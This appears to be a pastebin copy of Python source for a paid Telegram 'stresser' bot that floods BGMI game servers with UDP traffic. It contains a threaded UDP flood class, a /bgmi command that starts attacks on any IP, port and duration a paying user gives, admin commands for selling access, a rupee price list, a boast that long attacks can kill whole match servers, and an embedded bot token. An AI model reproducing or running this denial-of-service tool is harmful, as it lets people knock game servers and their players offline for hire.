[pycon] BGMI DDOS
Viewer
*** This page was generated with the meta tag "noindex, nofollow". This happened because you selected this option before saving or the system detected it as spam. This means that this page will never get into the search engines and the search bot will not crawl it. There is nothing to worry about, you can still share it with anyone.
- import socket
- import random
- import threading
- import time
- import subprocess
- import requests
- import datetime
- import os
- import telebot
- from telebot import types
- bot = telebot.TeleBot("6761908133:AAFFn2DRjiXs9NKrH2n4XPH4Q5tJY6qIAeI")
- admin_id = ["1866299978", "6002921103"]
- usrt = "sanchit.txt"
- LOG_FILE = "log.txt"
- paid_usr = []
- class UDPAmplificationAttack:
- def __init__(self, target_ip, target_port, payload, packet_size=4096, num_threads=10):
- self.target_ip = target_ip
- self.target_port = target_port
- self.payload = payload
- self.packet_size = packet_size
- self.num_threads = num_threads
- self.counter = 0
- self.running = False
- def send_packet(self):
- while self.running:
- try:
- spoofed_ip = self.random_ip()
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- sock.sendto(self.payload, (self.target_ip, self.target_port))
- self.counter += 1
- print(f"Sent packet {self.counter} to {self.target_ip}")
- sock.close()
- except Exception as e:
- print(f"Error: {e}")
- def random_ip(self):
- return ".".join(str(random.randint(0, 255)) for _ in range(4))
- def start_attack(self, duration):
- self.running = True
- threads = []
- for _ in range(self.num_threads):
- thread = threading.Thread(target=self.send_packet)
- thread.start()
- threads.append(thread)
- print(f"Attack started for {duration} seconds with {self.num_threads} threads.")
- time.sleep(duration)
- self.stop_attack(threads)
- def stop_attack(self, threads):
- self.running = False
- for thread in threads:
- thread.join()
- print("Attack stopped.")
- print(f"Total packets sent: {self.counter}")
- def logs_cmd(ukid, target, port, time):
- usinfo = bot.get_chat(ukid)
- if usinfo.username:
- username = "@" + usinfo.username
- else:
- username = f"UserID: {ukid}"
- log_message = f"| UserID: {ukid} | Time: {datetime.datetime.now()} | Target: {target} | Port: {port} | Duration: {time} |"
- with open(LOG_FILE, "a") as file:
- file.write(log_message + "\n")
- group_message = f"| UserID: {ukid}\n| Time: {datetime.datetime.now()} | Target: {target}\n| Port: {port}\n| Duration: {time}"
- bot.send_message(admin_id, group_message)
- def clear_logs():
- try:
- with open(LOG_FILE, "r+") as file:
- if file.read() == "":
- response = "Logs are already cleared. No data found ❌."
- else:
- file.truncate(0)
- response = "Logs cleared successfully ✅"
- except FileNotFoundError:
- response = "No logs found to clear."
- return response
- def record_command_logs(ukid, command, target=None, port=None, time=None):
- log_entry = f"UserID: {ukid} | Time: {datetime.datetime.now()} | Command: {command}"
- if target:
- log_entry += f" | Target: {target}"
- if port:
- log_entry += f" | Port: {port}"
- if time:
- log_entry += f" | Time: {time}"
- with open(LOG_FILE, "a") as file:
- file.write(log_entry + "\n")
- @bot.message_handler(commands=['add'])
- def add_user(message):
- ukid = str(message.chat.id)
- if ukid in admin_id:
- command = message.text.split()
- if len(command) > 1:
- user_to_add = command[1]
- if user_to_add not in paid_usr:
- paid_usr.append(user_to_add)
- with open(usrt, "a") as file:
- file.write(f"{user_to_add}\n")
- response = f"User {user_to_add} Added Successfully 👍."
- user_info = bot.get_chat(user_to_add)
- if user_info.username:
- username = "@" + user_info.username
- else:
- username = f"UserID: {user_to_add}"
- newinfo(admin_id, user_to_add, user_info.first_name, username)
- else:
- response = "User already exists 🤦♂️."
- else:
- response = "Please specify a user ID to add 😒."
- else:
- response = "Only Admin Can Run This Command 😡."
- bot.reply_to(message, response)
- @bot.message_handler(commands=['remove'])
- def remove_user(message):
- ukid = str(message.chat.id)
- if ukid in admin_id:
- command = message.text.split()
- if len(command) > 1:
- user_to_remove = command[1]
- if user_to_remove in paid_usr:
- paid_usr.remove(user_to_remove)
- with open(usrt, "w") as file:
- for ukid in paid_usr:
- file.write(f"{ukid}\n")
- response = f"User {user_to_remove} removed successfully 👍."
- else:
- response = f"User {user_to_remove} not found in the list ❌."
- else:
- response = '''Please Specify A User ID to Remove.
- ✅ Usage: /remove <userid>'''
- else:
- response = "Only Admin Can Run This Command 😡."
- bot.reply_to(message, response)
- @bot.message_handler(commands=['clearlogs'])
- def clear_logs_command(message):
- ukid = str(message.chat.id)
- if ukid in admin_id:
- response = clear_logs()
- else:
- response = "Only Admin Can Run This Command 😡."
- bot.reply_to(message, response)
- @bot.message_handler(commands=['allusers'])
- def show_all_users(message):
- ukid = str(message.chat.id)
- if ukid in admin_id:
- try:
- with open(usrt, "r") as file:
- ukids = file.read().splitlines()
- if ukids:
- response = "Authorized Users:\n"
- for ukid in ukids:
- try:
- usinfo = bot.get_chat(int(ukid))
- username = usinfo.username
- response += f"- @{username} (ID: {ukid})\n"
- except Exception as e:
- response += f"- User ID: {ukid}\n"
- else:
- response = "No data found ❌"
- except FileNotFoundError:
- response = "No data found ❌"
- else:
- response = "Only Admin Can Run This Command 😡."
- bot.reply_to(message, response)
- @bot.message_handler(commands=['logs'])
- def show_recent_logs(message):
- ukid = str(message.chat.id)
- if ukid in admin_id:
- if os.path.exists(LOG_FILE) and os.stat(LOG_FILE).st_size > 0:
- try:
- with open(LOG_FILE, "rb") as file:
- bot.send_document(message.chat.id, file)
- except FileNotFoundError:
- response = "No data found ❌."
- bot.reply_to(message, response)
- else:
- response = "No data found ❌"
- bot.reply_to(message, response)
- else:
- response = "Only Admin Can Run This Command 😡."
- bot.reply_to(message, response)
- @bot.message_handler(commands=['id'])
- def show_ukid(message):
- ukid = str(message.chat.id)
- response = f"🤖Your ID: {ukid}"
- bot.reply_to(message, response)
- @bot.message_handler(commands=['bgmi'])
- def handle_bgmi(message):
- ukid = str(message.chat.id)
- if ukid in paid_usr:
- command = message.text.split()
- if len(command) == 4:
- target = command[1]
- port = int(command[2])
- duration = int(command[3])
- payload = b"\x00\x00" * 1024
- amplification_attack = UDPAmplificationAttack(target, port, payload)
- response = f"BGMI Attack Started On {target}:{port} For {duration} Seconds."
- amplification_attack.start_attack(duration)
- response = f"BGMI Attack Done On {target}:{port} For {duration} Seconds."
- else:
- response = "✅ Usage :- /bgmi <target> <port> <time>"
- else:
- response = "❌ You Are Not Authorized To Use This Command ❌. Please Contact @X668F OR @Hackervipking To Get Access."
- bot.reply_to(message, response)
- @bot.message_handler(commands=['mylogs'])
- def show_command_logs(message):
- ukid = str(message.chat.id)
- if ukid in paid_usr:
- try:
- with open(LOG_FILE, "r") as file:
- command_logs = file.readlines()
- user_logs = [log for log in command_logs if f"UserID: {ukid}" in log]
- if user_logs:
- response = "Your Command Logs:\n" + "".join(user_logs)
- else:
- response = "❌ No Command Logs Found For You ❌."
- except FileNotFoundError:
- response = "No command logs found."
- else:
- response = "You Are Not Authorized To Use This Command😡."
- bot.reply_to(message, response)
- @bot.message_handler(commands=['help'])
- def show_help(message):
- help_text ='''🤖 Available commands:
- 💥 /bgmi : Method For Bgmi Servers.
- 💥 /rules : Please Check Before Use !!.
- 💥 /mylogs : To Check Your Recents Attacks.
- 💥 /plan : Checkout Our Botnet Rates.
- /free ; to get free user credit
- 🤖 To See Admin Commands:
- 💥 /admincmd : Shows All Admin Commands.
- Buy From :- @X668F OR @Hackervipking
- '''
- for handler in bot.message_handlers:
- if hasattr(handler, 'commands'):
- if message.text.startswith('/help'):
- help_text += f"{handler.commands[0]}: {handler.doc}\n"
- elif handler.doc and 'admin' in handler.doc.lower():
- continue
- else:
- help_text += f"{handler.commands[0]}: {handler.doc}\n"
- bot.reply_to(message, help_text)
- @bot.message_handler(commands=['start'])
- def start(message):
- bt = telebot.types.InlineKeyboardMarkup()
- bt.row(types.InlineKeyboardButton("💙 𝙑𝙀𝙍𝙄𝙁𝙄𝙀𝘿 𝙇𝙊𝙊𝙏𝙎 ❤", url="https://t.me/+ulZjx9xbxdBmYmY1"))
- bt.row(types.InlineKeyboardButton("❤ 𝙒𝙝𝙞𝙩𝙚𝙝𝙖𝙩", url="https://t.me/+ulZjx9xbxdBmYmY1"),types.InlineKeyboardButton("𝘽𝙡𝙖𝙘𝙠𝙝𝙖𝙩 💙", url="https://t.me/+sjyDBdFenE1kMmM1"))
- user_id = message.from_user.id
- uf = message.from_user.first_name
- bot.send_photo(user_id, "https://iili.io/JruRwge.md.jpg", caption=f"👋 Hey {uf}\n\n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\nWelcome To BGMI STRESSER BOT\n➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\n*See All Commands Use /help*...",parse_mode="markdown",reply_markup=bt)
- def adminn(user_id, uf, username):
- admin_id = "1866299978"
- stat = 1
- bot.send_message(admin_id, f"➕ <b>New User Notification</b> ➕\n\n👤<b>User:</b> <a href='tg://user?id={user_id}'>{uf}</a> {username}\n\n🆔<b> User ID :</b> <code>{user_id}</code>\n\n🌝 <b>Total User's Count: {stat}</b>",parse_mode="html", disable_web_page_preview=True)
- @bot.message_handler(commands=['rules'])
- def welcome_rules(message):
- user_name = message.from_user.first_name
- response = f'''Note :- 80 Sec Is Enough If U Uses 180 Sec Attack Then It Can Kill The Whole Match Server In Plan !!\n\n@X668F'''
- bot.reply_to(message, response)
- @bot.message_handler(commands=['plan'])
- def welcome_plan(message):
- user_name = message.from_user.first_name
- response = f'''{user_name}, Brother Only 1 Plan Is Powerfull Then Any Other Ddos !:
- Vip 🌟 :
- -> Attack Time : 80 (S)
- > After Attack Limit : No Limit (S)
- -> Concurrents Attack : 3
- Price List💸 :
- Day-->600 Rs
- Week-->1100 Rs
- Month-->2000 Rs
- Note :- 80 Sec Is Enough If U Uses 180 Sec Attack Then It Can Kill The Whole Match Server In Plan !!
- '''
- bot.reply_to(message, response)
- @bot.message_handler(commands=['admincmd'])
- def welcome_plan(message):
- user_name = message.from_user.first_name
- response = f'''{user_name}, Admin Commands Are Here!!:
- 💥 /add <userId> : Add a User.
- 💥 /remove <userid> Remove a User.
- 💥 /allusers : Authorised Users Lists.
- 💥 /logs : All Users Logs.
- 💥 /broadcast : Broadcast a Message.
- 💥 /clearlogs : Clear The Logs File.
- '''
- bot.reply_to(message, response)
- def newinfo(admin_id, user_id, user_first_name, username):
- try:
- user_info = f"""
- New User Added:
- Name: {user_first_name}
- User: {username}
- User ID: {user_id}
- """
- bot.send_message(admin_id, user_info)
- except Exception as e:
- print(f"Error notifying admin and group about new user: {e}")
- @bot.message_handler(commands=['broadcast'])
- def broad_msg(message):
- ukid = str(message.chat.id)
- if ukid in admin_id:
- command = message.text.split(maxsplit=1)
- if len(command) > 1:
- message_to_broadcast = "⚠️ Message To All Users By Admin:\n\n" + command[1]
- with open(usrt, "r") as file:
- ukids = file.read().splitlines()
- for ukid in ukids:
- try:
- bot.send_message(ukid, message_to_broadcast)
- except Exception as e:
- print(f"Failed to send broadcast message to user {ukid}: {str(e)}")
- response = "Broadcast Message Sent Successfully To All Users 👍."
- else:
- response = "🤖 Please Provide A Message To Broadcast."
- else:
- response = "Only Admin Can Run This Command 😡."
- bot.reply_to(message, response)
- bot.polling(True)
Editor
You can edit this paste and save as new: